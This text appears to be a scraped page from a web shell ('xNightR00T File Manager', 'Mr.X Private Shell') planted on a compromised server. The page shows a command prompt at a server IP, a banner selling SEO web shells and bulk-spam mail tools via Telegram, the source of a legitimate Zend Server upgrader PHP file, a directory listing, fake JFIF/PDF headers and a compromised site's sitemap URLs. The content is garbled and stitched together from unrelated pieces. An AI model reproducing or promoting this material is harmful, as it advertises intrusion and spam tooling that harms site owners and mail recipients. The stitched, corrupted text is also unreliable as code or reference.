xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

abstract class ZSComponentUpgrader
{


	abstract protected function getSqliteDbName($version = null);

	abstract protected function getSqliteSqlFilenames();
	abstract protected function getMysqlSqlFilenames();

	static $upgradeFromVersion;

	/**
     *
     * @param PDO $dbh
     */
	abstract public function getMysqlSchemaVersion();

	/**
     *
     * @param PDO $dbh
     * @param string $version
     */
	abstract public function setMysqlSchemaVersion($dbh, $version);

	/**
     *
     * @param PDO $dbh
     */
	abstract public function getSqliteSchemaVersion();

	/**
     *
     * @param PDO $dbh
     * @param string $version
     */
	abstract public function setSqliteSchemaVersion($dbh, $version);

	abstract public function getComponent();

	abstract public function getSchemaVersion();

	protected function getParsedVersionString($version) {
		// special case for 9.1.8 and older databases
		if ($version >= 3000) {
			$v = str_split(substr(strval($version), 0, 3));
			$version = implode('.', $v);
		}

		return strval($version);
	}

    protected function logMessage($msg) {
        message("[" . $this->getComponent() . "] " . $msg);
    }

	protected function createCleanSqliteDatabase() {
		message("Creating new SQLITE database at " . $this->getSqliteDbPath());

		$pdo = $this->getSqliteDbh();

		foreach ($this->getSqliteSqlFilenames() as $sqlFile) {
			$sqlFileFullpath = $this->getSqlsDir() . "/" . $sqlFile;
			$sql = file_get_contents($sqlFileFullpath);
			message("Executing SQL file: " . $sqlFileFullpath);
			$result = $pdo->exec($sql);
		}

		chmod($this->getSqliteDbPath(), 0664);
	}

	protected function getCreatedMysqlTables($mysqlDbh, $prefix) {
		$res = array();
		foreach($mysqlDbh->query("show tables like '{$prefix}%'") as $row) {
			$res[] = $row[0];
		}

		return $res;
	}

	protected function getGuiConfigurationPath() {
		return get_cfg_var('zend.install_dir') . DIRECTORY_SEPARATOR . 'gui' . DIRECTORY_SEPARATOR . 'config' . DIRECTORY_SEPARATOR . 'zs_ui.ini';
	}

	protected function getGuiConfiguration() {
		return parse_ini_file($this->getGuiConfigurationPath(), true);
	}

	/**
	 * Return the server installation profile (e.g. 'Development', 'Production' ..)
	 * @return string
	 */
	protected function getServerProfile() {
		$guiConf = $this->getGuiConfiguration();
		if (isset($guiConf['package']) && isset($guiConf['package']['zend_gui.serverProfile'])) {
			return $guiConf['package']['zend_gui.serverProfile'];
		} else {
			return "";
		}
	}


    /**
     * search for a directive in an INI file and remove it
     */
    protected function removeDirectiveFromINI($directiveName, $filePath) {
        message("Deleting directive '$directiveName' from file '$filePath'");
        $lines = file($filePath);

        $outputContent = "";
        foreach($lines as $line) {
            if(strstr($line, $directiveName) == false) {
                $outputContent .= $line;
            }
        }

        file_put_contents($filePath, $outputContent);
    }

    /**
     * @return boolean
     */
    protected function isPhpVersionUpgrade() {
    	if($this->isClusterUpgrade()) {
    		$dbh = $this->getUpgradedMySqlDbh();
    	} else {
    	    $upgradeFromVersion = $this->getUpgradeFromVersion();
    	    if ($upgradeFromVersion == '8.0.0Beta') {
    	        $upgradeFromVersion = '8.0.0';
    	    }
    		$dbh = $this->getSqliteDbhByDbname('zsd.db', $upgradeFromVersion);
    	}

    	if (! $dbh) {
    	    message("Detected that the php version wasn't upgraded\n");
    		message('Could not connect to database');
    		return false;
    	}

    	$nodeId = get_cfg_var('zend.node_id');
    	if ($this->isTableExists($dbh, 'ZSD_NODES_PROFILE')) {
    		if (is_numeric($nodeId)) {
	    		$phpversions = $dbh->query('SELECT PHPVERSION FROM ZSD_NODES_PROFILE WHERE NODE_ID = ' . $nodeId);
	    		$phpversions->setFetchMode(PDO::FETCH_ASSOC);
	    		$phpversions = $phpversions->fetchAll();
	    		if(0 == count($phpversions)) {
	    			message("No profiles found, upgrade from 5.6?");
	    			return true;
	    		}

	    		$phpversion = current($phpversions);
	    		$oldVersion = preg_replace('#([0-9]+\.[0-9]+)\.[0-9]+#', '$1', $phpversion['PHPVERSION']);
	    		$currentVersion = preg_replace('#([0-9]+\.[0-9]+)\.[0-9]+#', '$1', PHP_VERSION);
	    		message("PHP Upgraded, {$phpversion['PHPVERSION']} collected from DB, current version is ". PHP_VERSION);
	    		return version_compare($oldVersion, $currentVersion,'!=');
	    	} else {
	    		message("zend.node_id is not a number");
	    		return false;
	    	}
    	} else {
    		message("Nodes profile table does not exist, clean install?");
    		return false;
    	}
    }

    /**
     * @return true if the current OS is Windows, false otherwise
     */
    protected function isWindows() {
        if ( stripos(PHP_OS, "win") !== FALSE )
            // we got a match
            return true;
        return false;
    }

    /**
     * @param $vhostFile check if a given vhost file is an apache
     * vhost or nginx vhost
     * @return true if the $vhostFile belongs to nginx false otherwise
     */
    protected function isNginxVhostFile( $vhostFile ) {
        message("Checking vhost file: $vhostFile webserver type...");

        if ( !file_exists( $vhostFile ) ) {
            message( "File $vhostFile does not exist" );
            return false;
        }

        if ( $this->isWindows() ) {
            // On Windows, NGINX is not installed
            message("Operating system - Windows");
            return false;

        }  else {
            // Linux / IBMi / OSX
            // Try a simple preg_match
            $vhostContent = file_get_contents( $vhostFile );
            if ( preg_match( "/server[ \t\n\r]*\{/", $vhostContent ) ) {
                message("Vhost is NGINX vhost");
                return true;
            }
        }
        message("Vhost is an Apache vhost");
        return false;
    }

    /**
     * is MYSQL upgrade, not Cluster
     * @return boolean
     */
	protected function isClusterUpgrade() {
		$dbSettings = $this->getDbSettings();
		if ($dbSettings && $dbSettings->isMysql()) {
			message("Upgrade from mysql db detected");
			return true;
		}

		$upgradeFromVersion = $this->getUpgradeFromVersion();

		if ($upgradeFromVersion) {
			$dbSettings = $this->getDbSettings($upgradeFromVersion);
			if ($dbSettings && $dbSettings->isMysql()) {
				message("Upgrade from $upgradeFromVersion cluster detected");
				return true;
			}
		}

		return false;
	}

	protected function createCleanMysqlDatabase() {
		message("createCleanMysqlDatabase: creating MySQL tables");

		$upgradeFromVersion = $this->getUpgradeFromVersion();

        /* @var PDO */
		$pdo = null;
		if ($this->getDbSettings()->isMysql()) {
			$pdo = $this->getMySqlDbh();
		}
		if ($upgradeFromVersion == "5.6.0") {
			$settings = $this->getDbSettings("5.6.0");
			$settings->setDbName("ZendServer");
			message("Using mysql settings from 5.6");
			$pdo = $this->getMySqlDbhFromSettings($settings);
		} else if ($upgradeFromVersion && $this->getDbSettings($upgradeFromVersion)) {
			$pdo = $this->getMySqlDbh($upgradeFromVersion);
			message("Using mysql settings from $upgradeFromVersion");
		}

		if (!$pdo) {
			ERROR("Cannot create mysql connection");
			return;
		}

		$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);


		foreach ($this->getMysqlSqlFilenames() as $sqlFile) {
            $sqlFileFullpath = $this->getSqlsDir() . "/" . $sqlFile;

			$sql = file_get_contents($sqlFileFullpath);
            message("Executing SQL file: " . $sqlFileFullpath);
			try {
				$result = $pdo->exec($sql);
			} catch (Exception $ex) {
				if (!strstr($ex->getMessage(), "already exists") && !stristr($ex->getMessage(), "duplicate")) {
					throw $ex;
				}
			}
		}
	}

	/**
     * @return PDO
     */
    protected function getSqliteDbhByDbname($dbname, $version = null) {
    	$dbpath = $this->getDbDir($version) . "/" . $dbname;
        if (!file_exists($dbpath)) {
            return null;
        }

        $pdo = new PDO("sqlite:" . $dbpath);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

        return $pdo;
    }

	/**
	 *
	 * @return PDO
	 */
	public function getSqliteDbh($version = null, $createIfNotExists = true) {
		if (!$createIfNotExists && !file_exists($this->getSqliteDbPath($version))) {
			return null;
		}

		$pdo = new PDO("sqlite:" . $this->getSqliteDbPath($version));
		$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

		return $pdo;
	}

	/**
	 * return the version we are upgrading from. false if this is a clean install
	 * @return
	 */
	protected function getUpgradeFromVersion() {

		if (!is_null(self::$upgradeFromVersion)) {
			return self::$upgradeFromVersion;
		}

		if (file_exists($this->getDbDir() . "/apm.db") || file_exists($this->getDbDir('8.0.0') . "/apm.db")) {
			self::$upgradeFromVersion = "8.0.0Beta";
			return self::$upgradeFromVersion;
		}

		$prevVersionDirs = glob($_GET['zsDir'] . "/etc-*");
		$prevVersionDirs = array_map("basename", $prevVersionDirs);
		message("Backup directories: " . implode(",", $prevVersionDirs));
		self::$upgradeFromVersion = $highestVer = "0";
		foreach ($prevVersionDirs as $dir) {
			$parts = explode("-", $dir);
			if (version_compare($parts[1], $highestVer, ">")) {
				$highestVer = $parts[1];
			}
		}
		if ($highestVer != "0") {
			message("Upgrading from version $highestVer");
			self::$upgradeFromVersion = $highestVer;
		}

		if (self::$upgradeFromVersion) {
			message("Upgrading from version ". self::$upgradeFromVersion);
		} else {
			message("Fresh installation");
		}

		return self::$upgradeFromVersion;
	}

    /**
     * @param <unknown> $version
     * @return  ZSDbSettings
     */
	public function getDbSettings($version = null) {
		if (!$version) {
			return ZSDbSettings::fromIni($_GET['zsDir'] . "/etc/zend_database.ini");
		} else {
			return ZSDbSettings::fromIni($_GET['zsDir'] . "/etc-$version/zend_database.ini");
		}
	}

	/**
	 *
	 * @return PDO
	 */
	public function getMySqlDbh($version = null) {

		$dbSettings = $this->getDbSettings($version);

		if (!$dbSettings || !$dbSettings->isMysql()) {
			return null;
		}

		return $this->getMySqlDbhFromSettings($dbSettings);
	}

    public function isUpgrade() {
        $fromVersion = $this->getFromVersion();
        if($fromVersion == "") return false;
        return true;
    }

	protected function getFromVersion() {
		if (isset($_GET['fromVersion'])) {
			return $_GET['fromVersion'];
		} else {
			return "";
		}
	}

	protected function getToVersion() {
		if (isset($_GET['toVersion'])) {
			return $_GET['toVersion'];
		} else {
			return "";
		}
	}

	protected function getCurrentSchemaVersionFromMySQLDB($dbh) {

		$res = $dbh->query("SELECT property_value FROM schema_properties where property = 'ZS_VERSION'")->fetchAll();
		foreach ($res as $row) {
			return $row['property_value'];
		}

		return false;
	}

	/**
	 * @param $dbh PDO
	 */
	protected function isTableExists($dbh, $tableName) {

		$origErrMode = $dbh->getAttribute(PDO::ATTR_ERRMODE);
		$ret = false;

		try {
			$isSqlite = false;
			$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
			if (stristr($dbh->getAttribute(PDO::ATTR_DRIVER_NAME), "sqlite")) {
				$isSqlite = true;
				$sql_query = "select count(*) from sqlite_master where name = '" . $tableName . "' and type = 'table'";
				$res = $dbh->query( $sql_query );

			} else {
				$res = $dbh->query("show tables");

			}

			foreach ($res->fetchAll() as $row) {
				if ( $isSqlite ) {
					return ($row[0] == 1);

				} else {
					// MySQL
					if ($row[0] == $tableName) {
						$ret = true;
						break;
					}
				}
			}

		} catch (Exception $ex) {
			error($ex->getMessage());
		}

		$dbh->setAttribute(PDO::ATTR_ERRMODE, $origErrMode);

		message ("Table $tableName exists - " . ($ret?"yes":"no"));
		return $ret;
	}

	protected function getUpgradedMySqlDbh() {

		$dbSettings = $this->getDbSettings();
		if ($dbSettings && $dbSettings->isMysql()) {
			message("Using db " . $dbSettings->getDbName());
			return $this->getMySqlDbhFromSettings($dbSettings);
		}

		$upgradeFromVersion = $this->getUpgradeFromVersion();

		if ($upgradeFromVersion == "5.6.0") {
			$dbSettings56 = $this->getDbSettings("5.6.0");
			if ($dbSettings56 && $dbSettings56->isMysql()) {
				$dbSettings56->setDbName("ZendServer");
				message("Using db " . $dbSettings56->getDbName());
				return $this->getMySqlDbhFromSettings($dbSettings56);
			}
		} else if ($upgradeFromVersion) {

			$dbSettings = $this->getDbSettings($upgradeFromVersion);
			if ($dbSettings && $dbSettings->isMysql()) {
				message("Using db " . $dbSettings->getDbName());
				return $this->getMySqlDbhFromSettings($dbSettings);
			}
		}

		return null;
	}


	/**
	 * @param $dbSettings ZSDbSettings
	 * @return PDO
	 */
	protected function getMySqlDbhFromSettings($dbSettings) {

		$dbHost = $dbSettings->getDbHost();
		$dbPort = $dbSettings->getDbPort();
		$dbName = $dbSettings->getDbName();
		$dbUsername = $dbSettings->getDbUser();
		$dbPassword = $dbSettings->getDbPassword();

		//message("Connecting to Mysql Db " . $dbName . " at $dbHost");
		try {
			$pdo = new PDO("mysql:host=$dbHost;port=$dbPort;dbname=$dbName",$dbUsername, $dbPassword);
			$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
		} catch (\Exception $ex) {
			error("Cannot connect to mysql:host=$dbHost;port=$dbPort;dbname=$dbName. " . $ex->getMessage());
			return null;
		}

		return $pdo;
	}

	protected function getSqlsDir() {
		return get_cfg_var("zend.install_dir") . "/share";
	}

	protected function getDbDir($version = null) {
		if (!$version) {
			return get_cfg_var("zend.data_dir") . "/db";
		} else {
			return get_cfg_var("zend.data_dir") . "/db-$version";
		}
	}

	protected function getEtcDir($version = null) {
		if (!$version) {
			return get_cfg_var("zend.conf_dir");
		} else {
			return get_cfg_var("zend.conf_dir") . "-$version";
		}
	}

	protected function getConfdDir() {
		return get_cfg_var("zend.conf_dir") . DIRECTORY_SEPARATOR . get_cfg_var("zend.ini_scandir");
	}

	protected function getLibsDir() {
		return get_cfg_var("zend.data_dir") . "/libraries";
	}

	protected function copyWithPerms($orig, $target) {
		$res = copy($orig, $target);
		if (!$res) {
			return false;
		}
		$perms = fileperms($orig);
		return chmod($target, $perms);
	}


	public function getSqliteDbPath($version = null) {
		return $this->getDbDir($version) . "/" . $this->getSqliteDbName($version);
	}


	protected function copyDatabaseFromVersion($version) {
	    if ($version == '8.0.0Beta') {
	        $version = '8.0.0';
	    }

		$orig = $this->getSqliteDbPath($version);
		$target = $this->getSqliteDbPath();
		if (!file_exists($target) && file_exists($orig)) {
			message("Copying database from $orig to $target");
			return $this->copyWithPerms($orig, $target);
		}

		return false;
	}


	protected function upgradeSqlite() {
		if ($this->copySqliteFromPreviousVersions()) {
			$dbh = $this->getSqliteDbh();
			$this->setCurrentDbSchemaVersion( $dbh, $this->getSchemaVersion() );
		} else {
			$this->createCleanSqliteDatabase();
		}
	}

	protected function upgradeMysql() {
		$dbh = $this->getMySqlDbh();
		if ($dbh) {
			$this->setMysqlSchemaVersion($dbh, $this->getSchemaVersion());
		}
	}


	protected function copySqliteFromPreviousVersions($version = null) {

		$upgradeFromVersion = $this->getUpgradeFromVersion();

		if (!$version && $upgradeFromVersion) {

			$res = $this->copyDatabaseFromVersion($upgradeFromVersion);
			if ($res) {
				return $upgradeFromVersion;
			}

		} else {

			$res = $this->copyDatabaseFromVersion($version);
			if ($res) {
				return $version;
			}
		}

		return false;
	}

	public function upgrade() {
        $this->upgradeSqlite();

        if ($this->isClusterUpgrade()) {
            $this->upgradeMysql();
        }
    }

	protected function getMysqlDbSettings($version = null) {

		if ($version == "5.6.0") {
			return ZSDbSettings::fromIni($_GET['zsDir'] . "/etc/monitor_node.ini");
		}

		if (!$version || intval($version[0]) >= 6) {
			return ZSDbSettings::fromIni($_GET['zsDir'] . "/etc/zend_database.ini");
		}

		return null;
	}

	/**
	 * @param PDO $dbh
	 * @param string $queries
	 */
	public function execQueriesDiscardDuplicates($dbh, $queries) {

		$errMode = $dbh->getAttribute(PDO::ATTR_ERRMODE);

		$wasInTransaction = $dbh->inTransaction();

		$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		try {
			if (!$wasInTransaction) {
				$dbh->beginTransaction();
			}

			execQueries($dbh, $queries);

			if (!$wasInTransaction) {
				$dbh->commit();
			}

		} catch (PDOException $exc) {
			if (!$wasInTransaction) {
				$dbh->rollback();
			}

			if (stripos($exc->getMessage(), "duplicate") === false && stripos($exc->getMessage(), "already") === false) {
				if (!$wasInTransaction) {
					error($exc->getMessage());
				} else {
					throw $exc;
				}
			}
		}

		$dbh->setAttribute(PDO::ATTR_ERRMODE, $errMode);
	}

	public function removeMysqlColumns($dbh, $tableName, $columnsToRemove)
	{
		foreach ($columnsToRemove as $column) {
			$dbh->query("ALTER TABLE $tableName DROP COLUMN $column");
		}
	}

	public function removeSQliteColumns($dbh, $tableName, $columnsToRemove)
	{
		$data = array();
		foreach($dbh->query("pragma table_info($tableName)") as $row) {
			$data[] = $row;
		}

		$createQuery = "CREATE TABLE {$tableName}_new (";

		$columnsToCopy = array();
		$first = true;

		foreach ($data as $column) {
			if (in_array($column['name'], $columnsToRemove)) {
				continue;
			} else {
				$columnsToCopy[] = $column['name'];
			}

			if ($first) {
				$first = false;
			} else {
				$createQuery .= ", ";
			}

			$createQuery .= "`" . $column['name'] . "`";
			$createQuery .= " " . $column['type'];
			if ($column['notnull']) {
				$createQuery .= " NOT NULL";
			}
			if ($column['pk']) {
				$createQuery .= " PRIMARY KEY AUTOINCREMENT";
			}
			if ($column['dflt_value'] !== NULL) {
				$createQuery .= " DEFAULT " . $column['dflt_value'];
			}
			$createQuery .= PHP_EOL;
		}

		$createQuery .= ");";

		$dbh->query($createQuery);

		$dbh->query("insert into {$tableName}_new select " . implode(",", $columnsToCopy) . " from {$tableName}");

		$dbh->query("drop table {$tableName}");

		$dbh->query("alter table {$tableName}_new rename to {$tableName}");
	}
}


Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml